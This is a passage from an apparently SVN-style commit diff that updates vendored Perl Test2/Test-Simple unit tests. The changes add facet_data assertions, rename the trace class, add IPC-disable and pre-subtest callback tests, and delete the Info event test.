         $ctx->release;
     };
@@ -353,19 +348,12 @@
     ok($e2->isa('Test2::Event::Ok'), "returned ok event");
 
     is($events->[0], $e1, "got ok event 1");
+    is($events->[3], $e2, "got ok event 2");
 
     is($events->[2]->message, 'xxx', "event 1 diag 2");
     ok($events->[2]->isa('Test2::Event::Diag'), "event 1 diag 2 is diag");
 
-    is($events->[3]->summary,     'yyy', "event 1 info 1");
-    is($events->[3]->diagnostics, 1,     "event 1 info 1 is diagnostics");
-    ok($events->[3]->isa('Test2::Event::Info'), "event 1 info 1 is an info");
-
-    is($events->[4]->summary,     'zzz', "event 1 info 2");
-    is($events->[4]->diagnostics, 1,     "event 1 info 2 is diagnostics");
-    ok($events->[4]->isa('Test2::Event::Info'), "event 2 info 1 is an info");
-
-    is($events->[5], $e2, "got ok event 2");
+    is($events->[3], $e2, "got ok event 2");
 }
 
 sub {

Modified: vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/API/Instance.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/API/Instance.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/API/Instance.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,6 +5,13 @@
 use Test2::Tools::Tiny;
 use Test2::Util qw/CAN_THREAD CAN_REALLY_FORK USE_THREADS get_tid/;
 
+ok(1, "Just to get things initialized.");
+
+# We need to control this env var for this test
+$ENV{T2_NO_IPC} = 0;
+# This test relies on TAP being the default formatter for non-canon instances
+$ENV{T2_FORMATTER} = 'TAP';
+
 my $CLASS = 'Test2::API::Instance';
 
 my $one = $CLASS->new;
@@ -17,9 +24,13 @@
         ipc       => undef,
         formatter => undef,
 
-        ipc_polling => undef,
-        ipc_drivers => [],
+        add_uuid_via => undef,
 
+        ipc_polling    => undef,
+        ipc_drivers    => [],
+        ipc_timeout    => 30,
+        ipc_disabled   => 0,
+
         formatters => [],
 
         no_wait => 0,
@@ -30,6 +41,7 @@
         context_acquire_callbacks => [],
         context_init_callbacks    => [],
         context_release_callbacks => [],
+        pre_subtest_callbacks     => [],
 
         stack => [],
     },
@@ -45,9 +57,13 @@
     {
         contexts => {},
 
-        ipc_polling => undef,
-        ipc_drivers => [],
+        ipc_polling  => undef,
+        ipc_drivers  => [],
+        ipc_timeout  => 30,
+        ipc_disabled => 0,
 
+        add_uuid_via => undef,
+
         formatters => [],
 
         finalized => undef,
@@ -62,6 +78,7 @@
         context_acquire_callbacks => [],
         context_init_callbacks    => [],
         context_release_callbacks => [],
+        pre_subtest_callbacks     => [],
 
         stack => [],
     },
@@ -125,11 +142,11 @@
     is($one->formatter, 'Test2::Formatter::TAP', "got specified formatter");
     ok($one->finalized, "calling format finalized the object");
 
-    local $ENV{T2_FORMATTER} = '+Fake';
+    local $ENV{T2_FORMATTER} = '+A::Fake::Module::That::Should::Not::Exist';
     $one->reset;
     like(
         exception { $one->formatter },
-        qr/COULD NOT LOAD FORMATTER 'Fake' \(set by the 'T2_FORMATTER' environment variable\)/,
+        qr/COULD NOT LOAD FORMATTER 'A::Fake::Module::That::Should::Not::Exist' \(set by the 'T2_FORMATTER' environment variable\)/,
         "Bad formatter"
     );
 }
@@ -147,6 +164,18 @@
     "Exit callbacks must be coderefs"
 );
 
+$one->reset;
+$one->add_pre_subtest_callback($callback);
+is(@{$one->pre_subtest_callbacks}, 1, "added a pre-subtest callback");
+$one->add_pre_subtest_callback($callback);
+is(@{$one->pre_subtest_callbacks}, 2, "added another pre-subtest callback");
+
+like(
+    exception { $one->add_pre_subtest_callback({}) },
+    qr/Pre-subtest callbacks must be coderefs/,
+    "Pre-subtest callbacks must be coderefs"
+);
+
 if (CAN_REALLY_FORK) {
     $one->reset;
     my $pid = fork;
@@ -153,7 +182,7 @@
     die "Failed to fork!" unless defined $pid;
     unless($pid) { exit 0 }
 
-    is($one->_ipc_wait, 0, "No errors");
+    is(Test2::API::Instance::_ipc_wait, 0, "No errors");
 
     $pid = fork;
     die "Failed to fork!" unless defined $pid;
@@ -161,9 +190,20 @@
     my @warnings;
     {
         local $SIG{__WARN__} = sub { push @warnings => @_ };
-        is($one->_ipc_wait, 255, "Process exited badly");
+        is(Test2::API::Instance::_ipc_wait, 255, "Process exited badly");
     }
-    like($warnings[0], qr/Process .* did not exit cleanly \(status: 255\)/, "Warn about exit");
+    like($warnings[0], qr/Process .* did not exit cleanly \(wstat: \S+, exit: 255, sig: 0\)/, "Warn about exit");
+
+    $pid = fork;
+    die "Failed to fork!" unless defined $pid;
+    unless($pid) { sleep 20; exit 0 }
+    kill('TERM', $pid) or die "Failed to send signal";
+    @warnings = ();
+    {
+        local $SIG{__WARN__} = sub { push @warnings => @_ };
+        is(Test2::API::Instance::_ipc_wait, 255, "Process exited badly");
+    }
+    like($warnings[0], qr/Process .* did not exit cleanly \(wstat: \S+, exit: 0, sig: 15\)/, "Warn about exit");
 }
 
 if (CAN_THREAD && $] ge '5.010') {
@@ -171,7 +211,7 @@
     $one->reset;
 
     threads->new(sub { 1 });
-    is($one->_ipc_wait, 0, "No errors");
+    is(Test2::API::Instance::_ipc_wait, 0, "No errors");
 
     if (threads->can('error')) {
         threads->new(sub {
@@ -182,7 +222,7 @@
         my @warnings;
         {
             local $SIG{__WARN__} = sub { push @warnings => @_ };
-            is($one->_ipc_wait, 255, "Thread exited badly");
+            is(Test2::API::Instance::_ipc_wait, 255, "Thread exited badly");
         }
         like($warnings[0], qr/Thread .* did not end cleanly: xxx/, "Warn about exit");
     }
@@ -251,7 +291,8 @@
     like($events[0]->message, qr/Test ended with extra hubs on the stack!/, "got diag");
 }
 
-{
+SKIP: {
+    last SKIP if $] lt "5.008";
     $one->reset;
     my $stderr = "";
     {
@@ -279,7 +320,8 @@
     EOT
 }
 
-{
+SKIP: {
+    last SKIP if $] lt "5.008";
     require Test2::API::Breakage;
     no warnings qw/redefine once/;
     my $ran = 0;
@@ -351,7 +393,7 @@
 
 {
     my $ctx = bless {
-        trace => Test2::Util::Trace->new(frame => ['Foo::Bar', 'Foo/Bar.pm', 42, 'xxx']),
+        trace => Test2::EventFacet::Trace->new(frame => ['Foo::Bar', 'Foo/Bar.pm', 42, 'xxx']),
         hub => Test2::Hub->new(),
     }, 'Test2::API::Context';
     $one->contexts->{1234} = $ctx;
@@ -467,4 +509,29 @@
     is($cull, 1, "called cull once");
 }
 
+{
+    require Test2::IPC::Driver::Files;
+
+    local $ENV{T2_NO_IPC} = 1;
+    $one->reset;
+    $one->add_ipc_driver('Test2::IPC::Driver::Files');
+    ok($one->ipc_disabled, "IPC is disabled by env var");
+    ok(!$one->ipc, 'IPC not loaded');
+
+    local $ENV{T2_NO_IPC} = 0;
+    $one->reset;
+    ok(!$one->ipc_disabled, "IPC is not disabled by env var");
+    ok($one->ipc, 'IPC loaded');
+    like(
+        exception { $one->ipc_disable },
+        qr/Attempt to disable IPC after it has been initialized/,
+        "Cannot diable IPC once it is initialized"
+    );
+
+    $one->reset;
+    ok(!$one->ipc_disabled, "IPC is not disabled by env var");
+    $one->ipc_disable;
+    ok($one->ipc_disabled, "IPC is disabled directly");
+}
+
 done_testing;

Modified: vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/API.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/API.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/API.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -37,6 +37,8 @@
     test2_list_post_load_callbacks
 
     test2_ipc
+    test2_ipc_disable
+    test2_ipc_disabled
     test2_ipc_drivers
     test2_ipc_add_driver
     test2_ipc_polling
@@ -102,11 +104,18 @@
 my $file = __FILE__;
 my $line = __LINE__ + 1;
 my $warnings = warnings { $CLASS->can('test2_ipc_add_driver')->('fake') };
+my $sub1 = sub {
 like(
     $warnings->[0],
     qr{^IPC driver fake loaded too late to be used as the global ipc driver at \Q$file\E line $line},
     "got warning about adding driver too late"
 );
+};
+if ($] le "5.006002") {
+    todo("TODO known to fail on $]", $sub1);
+} else {
+    $sub1->();
+}
 
 is_deeply([$CLASS->can('test2_ipc_drivers')->()], [qw/fake Test2::IPC::Driver::Files/], "Got updated list");
 
@@ -141,6 +150,12 @@
 $CLASS->can('test2_no_wait')->(undef);
 ok(!$CLASS->can('test2_no_wait')->(), "no_wait is not set");
 
+ok($CLASS->can('test2_ipc_wait_enabled')->(), "IPC waiting enabled");
+$CLASS->can('test2_ipc_wait_disable')->();
+ok(!$CLASS->can('test2_ipc_wait_enabled')->(), "IPC waiting disabled");
+$CLASS->can('test2_ipc_wait_enable')->();
+ok($CLASS->can('test2_ipc_wait_enabled')->(), "IPC waiting enabled");
+
 my $pctx;
 sub tool_a($;$) {
     Test2::API::context_do {

Modified: vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Bail.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Bail.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Bail.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,9 +2,10 @@
 use warnings;
 use Test2::Tools::Tiny;
 use Test2::Event::Bail;
+use Test2::EventFacet::Trace;
 
 my $bail = Test2::Event::Bail->new(
-    trace => 'fake',
+    trace => Test2::EventFacet::Trace->new(frame => ['foo', 'foo.t', 42]),
     reason => 'evil',
 );
 
@@ -13,13 +14,6 @@
 is($bail->terminate, 255, "Bail will cause the test to exit.");
 is($bail->global, 1, "Bail is global, everything should bail");
 
-my $hub = Test2::Hub->new;
-ok($hub->is_passing, "passing");
-ok(!$hub->failed, "no failures");
-
-$bail->callback($hub);
-is($hub->bailed_out, $bail, "set bailed out");
-
 is($bail->summary, "Bail out!  evil", "Summary includes reason");
 $bail->set_reason("");
 is($bail->summary, "Bail out!", "Summary has no reason");
@@ -26,4 +20,55 @@
 
 ok($bail->diagnostics, "Bail events are counted as diagnostics");
 
+is_deeply(
+    $bail->facet_data,
+    {
+        about => {
+            package => 'Test2::Event::Bail',
+        },
+        control => {
+            global    => 1,
+            terminate => 255,
+            details   => '',
+            halt      => 1
+        },
+        trace => {
+            frame => [
+                'foo',
+                'foo.t',
+                '42',
+            ],
+            pid => $$,
+            tid => 0
+        },
+    },
+    "Got facet data",
+);
+
+$bail->set_reason('uhg');
+is_deeply(
+    $bail->facet_data,
+    {
+        about => {
+            package => 'Test2::Event::Bail',
+        },
+        control => {
+            global    => 1,
+            terminate => 255,
+            details   => 'uhg',
+            halt      => 1
+        },
+        trace => {
+            frame => [
+                'foo',
+                'foo.t',
+                '42',
+            ],
+            pid => $$,
+            tid => 0
+        },
+    },
+    "Got facet data with reason",
+);
+
 done_testing;

Modified: vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Diag.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Diag.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Diag.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,10 +2,10 @@
 use warnings;
 use Test2::Tools::Tiny;
 use Test2::Event::Diag;
-use Test2::Util::Trace;
+use Test2::EventFacet::Trace;
 
 my $diag = Test2::Event::Diag->new(
-    trace => Test2::Util::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
+    trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
     message => 'foo',
 );
 
@@ -12,7 +12,7 @@
 is($diag->summary, 'foo', "summary is just message");
 
 $diag = Test2::Event::Diag->new(
-    trace => Test2::Util::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
+    trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
     message => undef,
 );
 
@@ -20,7 +20,7 @@
 is($diag->summary, 'undef', "summary is just message even when undef");
 
 $diag = Test2::Event::Diag->new(
-    trace => Test2::Util::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
+    trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
     message => {},
 );
 
@@ -28,4 +28,23 @@
 
 ok($diag->diagnostics, "Diag events are counted as diagnostics");
 
+$diag = Test2::Event::Diag->new(
+    trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
+    message => "Hi there",
+);
+
+my $facet_data = $diag->facet_data;
+ok($facet_data->{about}, "Got 'about' from common");
+ok($facet_data->{trace}, "Got 'trace' from common");
+
+is_deeply(
+    $facet_data->{info},
+    [{
+        tag => 'DIAG',
+        debug => 1,
+        details => 'Hi there',
+    }],
+    "Got info facet"
+);
+
 done_testing;

Added: vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Encoding.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Encoding.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Encoding.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,28 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+
+use ok 'Test2::Event::Encoding';
+my $CLASS = 'Test2::Event::Encoding';
+
+like(
+    exception { $CLASS->new() },
+    qr/'encoding' is a required attribute/,
+    "Must specify the encoding"
+);
+
+my $one = $CLASS->new(encoding => 'utf8');
+is($one->encoding, 'utf8', "Got encoding");
+is($one->summary, "Encoding set to utf8", "Got summary");
+
+is_deeply(
+    $one->facet_data,
+    {
+        about => { package => $CLASS, details => "Encoding set to utf8" },
+        control => { encoding => 'utf8' },
+    },
+    "Got facet data"
+);
+
+done_testing;

Modified: vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Exception.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Exception.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Exception.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -4,7 +4,7 @@
 use Test2::Event::Exception;
 
 my $exception = Test2::Event::Exception->new(
-    trace => 'fake',
+    trace => {frame => []},
     error => "evil at lake_of_fire.t line 6\n",
 );
 
@@ -14,4 +14,42 @@
 
 ok($exception->diagnostics, "Exception events are counted as diagnostics");
 
+my $facet_data = $exception->facet_data;
+ok($facet_data->{about}, "Got common facet data");
+
+is_deeply(
+    $facet_data->{errors},
+    [{
+        tag => 'ERROR',
+        fail => 1,
+        details => "evil at lake_of_fire.t line 6\n",
+    }],
+    "Got error facet",
+);
+
+my $hash = {an => 'error'};
+my $str = "$hash";
+
+$exception = Test2::Event::Exception->new(
+    trace => {frame => []},
+    error => $hash,
+);
+
+ok($exception->causes_fail, "Exception events always cause failure");
+
+is($exception->error, $str, "Got stringified exception");
+
+$facet_data = $exception->facet_data;
+ok($facet_data->{about}, "Got common facet data");
+
+is_deeply(
+    $facet_data->{errors},
+    [{
+        tag => 'ERROR',
+        fail => 1,
+        details => $str,
+    }],
+    "Got error facet",
+);
+
 done_testing;

Added: vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Fail.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Fail.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Fail.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,38 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+use Test2::API qw/intercept context/;
+
+use ok 'Test2::Event::Fail';
+my $CLASS = 'Test2::Event::Fail';
+
+my $one = $CLASS->new(name => 'no soup for you');
+
+is($one->summary,          "fail", 'summary');
+is($one->increments_count, 1,      'increments_count');
+is($one->diagnostics,      0,      'diagnostics');
+is($one->no_display,       0,      'no_display');
+is($one->subtest_id,       undef,  'subtest_id');
+is($one->terminate,        undef,  'terminate');
+is($one->global,           undef,  'global');
+is($one->sets_plan,        undef,  'sets_plan');
+is($one->causes_fail,      1,      'causes_fail');
+
+$one->add_amnesty({tag => 'blah', details => 'blah'});
+is($one->causes_fail,      0,      'causes_fail is off with amnesty');
+
+$one->add_info({tag => 'xxx', details => 'yyy'});
+
+is_deeply(
+    $one->facet_data,
+    {
+        about   => {package => $CLASS, details => 'fail'},
+        assert  => {pass    => 0,      details => 'no soup for you'},
+        amnesty => [{tag    => 'blah', details => 'blah'}],
+        info    => [{tag    => 'xxx',  details => 'yyy'}],
+    },
+    "Got facet data"
+);
+
+done_testing;

Modified: vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Generic.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Generic.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Generic.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,7 +2,7 @@
 use warnings;
 
 use Test2::Tools::Tiny;
-use Test2::Util::Trace;
+use Test2::EventFacet::Trace;
 
 use Test2::API qw/context intercept/;
 
@@ -27,6 +27,18 @@
         increments_count => 0,
         diagnostics      => 0,
         no_display       => 0,
+        hubs             => [
+            {
+                'buffered' => 0,
+                'details'  => 'Test2::Hub::Interceptor',
+                'hid'      => "$$~0~2",
+                'ipc'      => 0,
+                'nested'   => 0,
+                'pid'      => $$,
+                'tid'      => 0,
+                'uuid'     => undef
+            }
+        ],
     },
     "Defaults"
 );

Deleted: vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Info.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Info.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Info.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,51 +0,0 @@
-use strict;
-use warnings;
-
-use Test2::Tools::Tiny;
-
-use Test2::Event::Info;
-use Test2::Util::Trace;
-use Test2::API qw/intercept/;
-
-my @got;
-
-my $info = Test2::Event::Info->new(
-    trace => Test2::Util::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
-    renderer => sub { @got = @_; 'foo' },
-);
-
-is($info->summary, 'foo', "summary is just rendering");
-is_deeply(\@got, ['text'], "got text");
-
-is($info->summary('blah'), 'foo', "summary is just rendering (arg)");
-is_deeply(\@got, ['blah'], "got arg");
-
-{
-    package An::Info::Thingy;
-    sub render { shift; @got = @_; 'foo' }
-}
-
-$info = Test2::Event::Info->new(
-    trace => Test2::Util::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
-    renderer => bless({}, 'An::Info::Thingy'),
-);
-
-is($info->summary, 'foo', "summary is just rendering");
-is_deeply(\@got, ['text'], "got text");
-
-is($info->summary('blah'), 'foo', "summary is just rendering (arg)");
-is_deeply(\@got, ['blah'], "got arg");
-
-eval { Test2::Event::Info->new(trace => Test2::Util::Trace->new(frame => ['Foo', 'foo.pl', 42])) };
-like(
-    $@,
-    qr/'renderer' is a required attribute at foo\.pl line 42/,
-    "Got expected error"
-);
-
-# For #727
-$info = intercept { ok(0, 'xxx', sub { 'xxx-yyy' }); }->[-1];
-ok($info->isa('Test2::Event::Info'), "Got an Info event");
-is($info->render, 'xxx-yyy', "Got rendered info");
-
-done_testing;

Modified: vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Note.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Note.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Note.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,10 +3,10 @@
 
 use Test2::Tools::Tiny;
 use Test2::Event::Note;
-use Test2::Util::Trace;
+use Test2::EventFacet::Trace;
 
 my $note = Test2::Event::Note->new(
-    trace => Test2::Util::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
+    trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
     message => 'foo',
 );
 
@@ -13,7 +13,7 @@
 is($note->summary, 'foo', "summary is just message");
 
 $note = Test2::Event::Note->new(
-    trace => Test2::Util::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
+    trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
     message => undef,
 );
 
@@ -21,10 +21,30 @@
 is($note->summary, 'undef', "summary is just message even when undef");
 
 $note = Test2::Event::Note->new(
-    trace => Test2::Util::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
+    trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
     message => {},
 );
 
 like($note->message, qr/^HASH\(.*\)$/, "stringified the input value");
 
+$note = Test2::Event::Note->new(
+    trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
+    message => 'Hi there',
+);
+
+my $facet_data = $note->facet_data;
+ok($facet_data->{about}, "Got 'about' from common");
+ok($facet_data->{trace}, "Got 'trace' from common");
+
+is_deeply(
+    $facet_data->{info},
+    [{
+        tag => 'NOTE',
+        debug => 0,
+        details => 'Hi there',
+    }],
+    "Got info facet"
+);
+
+
 done_testing;

Modified: vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Ok.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Ok.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Ok.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,7 +2,7 @@
 use warnings;
 
 use Test2::Tools::Tiny;
-use Test2::Util::Trace;
+use Test2::EventFacet::Trace;
 use Test2::Event::Ok;
 use Test2::Event::Diag;
 
@@ -11,7 +11,7 @@
 my $trace;
 sub before_each {
     # Make sure there is a fresh trace object for each group
-    $trace = Test2::Util::Trace->new(
+    $trace = Test2::EventFacet::Trace->new(
         frame => ['main_foo', 'foo.t', 42, 'main_foo::flubnarb'],
     );
 }
@@ -29,6 +29,20 @@
     is($ok->effective_pass, 1, "effective pass");
     is($ok->summary, "the_test", "Summary is just the name of the test");
 
+    my $facet_data = $ok->facet_data;
+    ok($facet_data->{about}, "got common facet data");
+    ok(!$facet_data->{amnesty}, "No amnesty by default");
+    is_deeply(
+        $facet_data->{assert},
+        {
+            no_debug => 1,
+            pass => 1,
+            details => 'the_test',
+        },
+        "Got assert facet",
+    );
+
+
     $ok = Test2::Event::Ok->new(
         trace => $trace,
         pass  => 1,
@@ -36,6 +50,18 @@
     );
     is($ok->summary, "Nameless Assertion", "Nameless test");
 
+    $facet_data = $ok->facet_data;
+    ok($facet_data->{about}, "got common facet data");
+    ok(!$facet_data->{amnesty}, "No amnesty by default");
+    is_deeply(
+        $facet_data->{assert},
+        {
+            no_debug => 1,
+            pass => 1,
+            details => '',
+        },
+        "Got assert facet",
+    );
 };
 
 tests Failing => sub {
@@ -52,6 +78,19 @@
     is($ok->name, 'the_test', "got name");
     is($ok->effective_pass, 0, "effective pass");
     is($ok->summary, "the_test", "Summary is just the name of the test");
+
+    my $facet_data = $ok->facet_data;
+    ok($facet_data->{about}, "got common facet data");
+    ok(!$facet_data->{amnesty}, "No amnesty by default");
+    is_deeply(
+        $facet_data->{assert},
+        {
+            no_debug => 1,
+            pass => 0,
+            details => 'the_test',
+        },
+        "Got assert facet",
+    );
 };
 
 tests "Failing TODO" => sub {
@@ -69,6 +108,27 @@
     is($ok->effective_pass, 1, "effective pass is true from todo");
     is($ok->summary, "the_test (TODO: A Todo)", "Summary is just the name of the test + todo");
 
+    my $facet_data = $ok->facet_data;
+    ok($facet_data->{about}, "got common facet data");
+    is_deeply(
+        $facet_data->{assert},
+        {
+            no_debug => 1,
+            pass => 0,
+            details => 'the_test',
+        },
+        "Got assert facet",
+    );
+    is_deeply(
+        $facet_data->{amnesty},
+        [{
+            tag => 'TODO',
+            details => 'A Todo',
+        }],
+        "Got amnesty facet",
+    );
+
+
     $ok = Test2::Event::Ok->new(
         trace => $trace,
         pass  => 0,
@@ -77,6 +137,27 @@
     );
     ok($ok->effective_pass, "empty string todo is still a todo");
     is($ok->summary, "the_test2 (TODO)", "Summary is just the name of the test + todo");
+
+    $facet_data = $ok->facet_data;
+    ok($facet_data->{about}, "got common facet data");
+    is_deeply(
+        $facet_data->{assert},
+        {
+            no_debug => 1,
+            pass => 0,
+            details => 'the_test2',
+        },
+        "Got assert facet",
+    );
+    is_deeply(
+        $facet_data->{amnesty},
+        [{
+            tag => 'TODO',
+            details => '',
+        }],
+        "Got amnesty facet",
+    );
+
 };
 
 tests init => sub {

Added: vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Pass.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Pass.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Pass.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,37 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+use Test2::API qw/intercept context/;
+
+use ok 'Test2::Event::Pass';
+my $CLASS = 'Test2::Event::Pass';
+
+my $one = $CLASS->new(name => 'soup for you', trace => {frame => ['foo', 'foo.pl', 42]});
+
+is($one->summary,          "pass", 'summary');
+is($one->increments_count, 1,      'increments_count');
+is($one->diagnostics,      0,      'diagnostics');
+is($one->no_display,       0,      'no_display');
+is($one->subtest_id,       undef,  'subtest_id');
+is($one->terminate,        undef,  'terminate');
+is($one->global,           undef,  'global');
+is($one->sets_plan,        undef,  'sets_plan');
+is($one->causes_fail,      0,      'causes_fail is false');
+
+$one->add_amnesty({tag => 'blah', details => 'blah'});
+$one->add_info({tag => 'xxx', details => 'yyy'});
+
+is_deeply(
+    $one->facet_data,
+    {
+        trace => {frame => ['foo', 'foo.pl', 42]},
+        about   => {package => $CLASS, details => 'pass'},
+        assert  => {pass    => 1,      details => 'soup for you'},
+        amnesty => [{tag    => 'blah', details => 'blah'}],
+        info    => [{tag    => 'xxx',  details => 'yyy'}],
+    },
+    "Got facet data"
+);
+
+done_testing;

Modified: vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Plan.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Plan.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Plan.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,10 +3,10 @@
 
 use Test2::Tools::Tiny;
 use Test2::Event::Plan;
-use Test2::Util::Trace;
+use Test2::EventFacet::Trace;
 
 my $plan = Test2::Event::Plan->new(
-    trace => Test2::Util::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
+    trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
     max => 100,
 );
 
@@ -14,17 +14,11 @@
 is_deeply( [$plan->sets_plan], [100, '', undef], "Got plan details");
 
 ok(!$plan->global, "regular plan is not a global event");
-my $state = Test2::Hub->new;
-$plan->callback($state);
-is($state->plan, 100, "set plan in state");
 is($plan->terminate, undef, "No terminate for normal plan");
 
 $plan->set_max(0);
 $plan->set_directive('SKIP');
 $plan->set_reason('foo');
-$state = Test2::Hub->new;
-$plan->callback($state);
-is($state->plan, 'SKIP', "set plan in state");
 is($plan->terminate, 0, "Terminate 0 on skip_all");
 
 is($plan->summary, "Plan is 'SKIP', foo", "skip summary");
@@ -35,17 +29,12 @@
 $plan->set_reason(undef);
 is($plan->summary, "Plan is 'NO PLAN'", "NO PLAN summary");
 is_deeply( [$plan->sets_plan], [0, 'NO PLAN', undef], "Got 'NO PLAN' details");
-$state = Test2::Hub->new;
-$plan->callback($state);
-is($state->plan, 'NO PLAN', "set plan in state");
 is($plan->terminate, undef, "No terminate for no_plan");
 $plan->set_max(100);
 $plan->set_directive(undef);
-$plan->callback($state);
-is($state->plan, '100', "Update plan in state if it is 'NO PLAN'");
 
 $plan = Test2::Event::Plan->new(
-    trace => Test2::Util::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
+    trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
     max => 0,
     directive => 'skip_all',
 );
@@ -52,7 +41,7 @@
 is($plan->directive, 'SKIP', "Change skip_all to SKIP");
 
 $plan = Test2::Event::Plan->new(
-    trace => Test2::Util::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
+    trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
     max => 0,
     directive => 'no_plan',
 );
@@ -62,7 +51,7 @@
 like(
     exception {
         $plan = Test2::Event::Plan->new(
-            trace     => Test2::Util::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
+            trace     => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
             max       => 0,
             directive => 'foo',
         );
@@ -74,7 +63,7 @@
 like(
     exception {
         $plan = Test2::Event::Plan->new(
-            trace  => Test2::Util::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
+            trace  => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
             max    => 0,
             reason => 'foo',
         );
@@ -86,7 +75,7 @@
 like(
     exception {
         $plan = Test2::Event::Plan->new(
-            trace  => Test2::Util::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
+            trace  => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
         );
     },
